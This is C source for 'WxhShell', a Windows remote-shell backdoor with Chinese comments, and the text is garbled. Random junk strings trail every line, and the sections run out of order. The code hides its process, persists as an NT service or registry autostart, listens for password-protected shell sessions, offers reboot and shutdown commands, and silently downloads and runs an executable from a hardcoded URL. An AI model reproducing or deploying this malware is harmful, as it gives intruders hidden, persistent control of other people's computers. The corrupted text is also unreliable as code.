DWORD BasePriority; !'E{D`A9
ULONG UniqueProcessId; 0taopDi;d
ULONG InheritedFromUniqueProcessId; aTJs.y-I~
} PROCESS_BASIC_INFORMATION; @qC](5|TQ
;xp^FKP
PROCNTQSIP NtQueryInformationProcess; +mc0:e{WF
1trk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4g^nhJP$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $@H]0<3,
Qw&It
HANDLE hProcess; |$Y0VC4a
PROCESS_BASIC_INFORMATION pbi; _*(n2'2B
z:
x|;Ps!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x RV@_
if(NULL == hInst ) return 0; }Xn5M&>?
@@&([f
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n\l$R!zr
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C7|zDJ_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EX]LH({?+L
5~AK+6Za
if (!NtQueryInformationProcess) return 0; r-Nv<oH;
~7$NVKE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RtE2%d$JT
if(!hProcess) return 0; =D 1%-ym
Hchh2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KW17CJ@
U_1syaY!
CloseHandle(hProcess); #q[k"x=c
*^]lFuX\&E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Us5P?}
if(hProcess==NULL) return 0; U9uy(KOW
ups]k?4
HMODULE hMod;
2aROY2
char procName[255]; 4T]n64Yid
unsigned long cbNeeded; VeLuL:4I
6jdNQC$#B
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _]g?3Gw7!
@vy{Q7aM
CloseHandle(hProcess); $-tgd<2h
F_Pv\?35z
if(strstr(procName,"services")) return 1; // 以服务启动 g;|3n&
_A[k&nO!&J
return 0; // 注册表启动 Klw\
} jB"?iC.
9Z KB,
// 主模块 yXuc<m
int StartWxhshell(LPSTR lpCmdLine) KF'DOXBw>
{ dZSv=UY)
SOCKET wsl; 3,Dc}$t
BOOL val=TRUE; o.)8A8
int port=0; #&L[?jEn
struct sockaddr_in door; DH3.4EUWS
:P!"'&gCL
if(wscfg.ws_autoins) Install(); 7U:-zfq
O@[jNs)].
port=atoi(lpCmdLine); F@+FXnz
{
S]"-x
if(port<=0) port=wscfg.ws_port; tH7@oV;
-F7GUB6B
WSADATA data; WAzYnl'p
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =.*+c\
|H!kU.f]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; mBp3_E.t
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PNjZbOmzS
door.sin_family = AF_INET; sYt\3/yL'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n0/H2>I[
door.sin_port = htons(port); =th(Hdk17
-AJ$-y
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0`{3|g
closesocket(wsl); Rh=,]Y
return 1; Z9TUaMhF
} Y?1
3_~
K
o$S/EZ
if(listen(wsl,2) == INVALID_SOCKET) { fj/sN HU
closesocket(wsl); Myal3UF
return 1; 51,RbADB
} l6YToYzE2
Wxhshell(wsl); fV 6$YCf
WSACleanup(); QA=G+1x
N2 vA/
return 0; FEd We\E
{iz,iv/U
} AK7IPftlH
H(MCY3t
// 以NT服务方式启动 GT -(r+u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F(yx/W>Br_
{ ,-4SVj8$P
DWORD status = 0; ?PMF]ah
DWORD specificError = 0xfffffff; CY"iP,nHl
dn"&j1@KY
serviceStatus.dwServiceType = SERVICE_WIN32; 5BztOYn,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0n'~wz"wB
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r87)?-B
serviceStatus.dwWin32ExitCode = 0; 7tEK&+H`
serviceStatus.dwServiceSpecificExitCode = 0; y<53xZi
serviceStatus.dwCheckPoint = 0; 3!+N}[$iy
serviceStatus.dwWaitHint = 0; QNGICG-
5WT^;J9V
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `|Ll
if (hServiceStatusHandle==0) return; APfDy
^KKU@ab9
status = GetLastError(); qtqTLl@u
if (status!=NO_ERROR) )_MIUQ%
{ NI@$"
serviceStatus.dwCurrentState = SERVICE_STOPPED; >.tP7=
serviceStatus.dwCheckPoint = 0; Ps0g
serviceStatus.dwWaitHint = 0; FN25,Q8:*I
serviceStatus.dwWin32ExitCode = status; P
57{
serviceStatus.dwServiceSpecificExitCode = specificError; N33{vx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iva?3.t
return; rO_|_nV[
} VcLB0T7m\
shjq4#9
serviceStatus.dwCurrentState = SERVICE_RUNNING; fn!(cE|`E
serviceStatus.dwCheckPoint = 0; 17itC9U
serviceStatus.dwWaitHint = 0; @,Re<%\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N@o Ng}D&:
} 6I)1[tU
dzK]F/L]
// 处理NT服务事件,比如:启动、停止 j:JM v
VOID WINAPI NTServiceHandler(DWORD fdwControl) .U66Uet>RX
{ <`'^rCWI?
switch(fdwControl) /7bIE!Cn
{ /c`s$h4-
case SERVICE_CONTROL_STOP: 1 z4s1Y
serviceStatus.dwWin32ExitCode = 0; SM<kR1bo
serviceStatus.dwCurrentState = SERVICE_STOPPED; f9Vxtd
serviceStatus.dwCheckPoint = 0; U%Igj:%?;`
serviceStatus.dwWaitHint = 0; k:+Bex$g
{ q,<AW>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uv:DO6 {
} <hYrcOt
return; $'9b,- e
case SERVICE_CONTROL_PAUSE: +npcU:(Kg
serviceStatus.dwCurrentState = SERVICE_PAUSED; _l i\b-
break; C:]&V*d.v4
case SERVICE_CONTROL_CONTINUE: ,u^RZ[}
serviceStatus.dwCurrentState = SERVICE_RUNNING; vPVA^UPNV
break; ;w^-3 U7:
case SERVICE_CONTROL_INTERROGATE: @IB+@RmL
break; v4:g*MD?~
}; Ww{|:>j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L5"|RI}
} 2EHeQ|#
oic}Go
// 标准应用程序主函数 p|W <xFk
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D92#&,KD
{ l c<&f
N|pyp*8Z
// 获取操作系统版本 UF
g N@
OsIsNt=GetOsVer(); rCwjy&SuU^
GetModuleFileName(NULL,ExeFile,MAX_PATH); v7"Hvp3w
xJ;DkPh
// 从命令行安装 o9tvf|+z
if(strpbrk(lpCmdLine,"iI")) Install(); tRqg')y
2n9E:tc
// 下载执行文件 HuX{8nl a
if(wscfg.ws_downexe) { q{rc[ s?
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $] js0)>
WinExec(wscfg.ws_filenam,SW_HIDE); \X'{ e e
}
IX|2yu4
?\HXYCi0r
if(!OsIsNt) { 7R$]BY=
// 如果时win9x,隐藏进程并且设置为注册表启动 O_PKS$sz{
HideProc(); 2Z ?
N
StartWxhshell(lpCmdLine); dMA"% R
} ~}SOd<n)|
else UUxDW3K
if(StartFromService()) ..ig jc#UF
// 以服务方式启动 /r4QDwu
StartServiceCtrlDispatcher(DispatchTable); aZe[Nos
else yM3]<~m
// 普通方式启动 Qi_De
'@
StartWxhshell(lpCmdLine); 2|fN*Wm
(HHVup1f
return 0; -?8;-h, h
} (I bT5
W^c> (d</
)8H5ovj.
zUw9
=========================================== =xs{Ov=
+OUYQM mM
[WOLUb
%N"9'g>
a\wpJ|3{=T
u1?1x
" Ib)>M`J
Ha~g8R&
#include <stdio.h> oSb,)k@
#include <string.h> Ax#$z
#include <windows.h> Wr \rruH6
#include <winsock2.h> DqLZc01>
#include <winsvc.h> Min^EAG@
#include <urlmon.h> %8?s3^o
e3+'m
#pragma comment (lib, "Ws2_32.lib") ZaCUc Px
#pragma comment (lib, "urlmon.lib") *):x K;o
cuJ%;q=;
#define MAX_USER 100 // 最大客户端连接数 2?]NQE9lA
#define BUF_SOCK 200 // sock buffer 4= VAJ
#define KEY_BUFF 255 // 输入 buffer !l7eB@O
_084GK9{W
#define REBOOT 0 // 重启 [Z3B~c
#define SHUTDOWN 1 // 关机 YN\!I
o{EWNkmj
#define DEF_PORT 5000 // 监听端口 MP Ma
e ;4y5i
#define REG_LEN 16 // 注册表键长度 *wml
4lh
#define SVC_LEN 80 // NT服务名长度 =[O;/~J%:
FFT h}>>
// 从dll定义API k+^-;=u6<
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t3TnqA
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8:j8>K*6
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E(i<3U"4h[
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e1e2Wk
D`;Q?fC
// wxhshell配置信息 B!vI^W
struct WSCFG { c}nXMA^^
int ws_port; // 监听端口 L0_qHLY
char ws_passstr[REG_LEN]; // 口令 OUY65K
int ws_autoins; // 安装标记, 1=yes 0=no (
}DCy23
char ws_regname[REG_LEN]; // 注册表键名 :*wnO;eN
char ws_svcname[REG_LEN]; // 服务名 jk0Ja@8PK
char ws_svcdisp[SVC_LEN]; // 服务显示名 C0\A
char ws_svcdesc[SVC_LEN]; // 服务描述信息 AiXxn'&i
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P^-tGo!
int ws_downexe; // 下载执行标记, 1=yes 0=no SwESDo)
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0K-jF5i$`
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l$%mZl
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}; q%u;+/|l
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// default Wxhshell configuration LbGyD;#_
struct WSCFG wscfg={DEF_PORT, L#'B-G4&y
"xuhuanlingzhe", ^O
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1, W/O&(t
"Wxhshell", Z8\c'xN
"Wxhshell", YuWsE4$
"WxhShell Service", C7ZU)MEUd/
"Wrsky Windows CmdShell Service", Z5/g\G[
"Please Input Your Password: ", e[t+pnRh
1, 6x*u S~'
"http://www.wrsky.com/wxhshell.exe", pn6 e{
"Wxhshell.exe" Hu
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}; /J8'mCuC.
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// 消息定义模块 Te`Z
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char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rC>')`uk
char *msg_ws_prompt="\n\r? for help\n\r#>"; {1^9*
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XgUvgJ
char *msg_ws_ext="\n\rExit."; p]*BeiT#n%
char *msg_ws_end="\n\rQuit."; <~BheGmmy
char *msg_ws_boot="\n\rReboot..."; jiPV ]aVN
char *msg_ws_poff="\n\rShutdown..."; Y-%S,91O
char *msg_ws_down="\n\rSave to "; 2}P<}-?6
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char *msg_ws_err="\n\rErr!"; Ak!l}d
char *msg_ws_ok="\n\rOK!"; A&i
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char ExeFile[MAX_PATH]; vb{+yEa
int nUser = 0; _
i )Z8#
HANDLE handles[MAX_USER]; {0fQ"))"
int OsIsNt; n/_cJD\
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SERVICE_STATUS serviceStatus; '|r('CIBN/
SERVICE_STATUS_HANDLE hServiceStatusHandle; CqVh9M.ah
T,h,)|:I^
// 函数声明 ]XEkQ
int Install(void); &Y2mLPB
int Uninstall(void); GI}h)T
int DownloadFile(char *sURL, SOCKET wsh); zT|]!',
int Boot(int flag);
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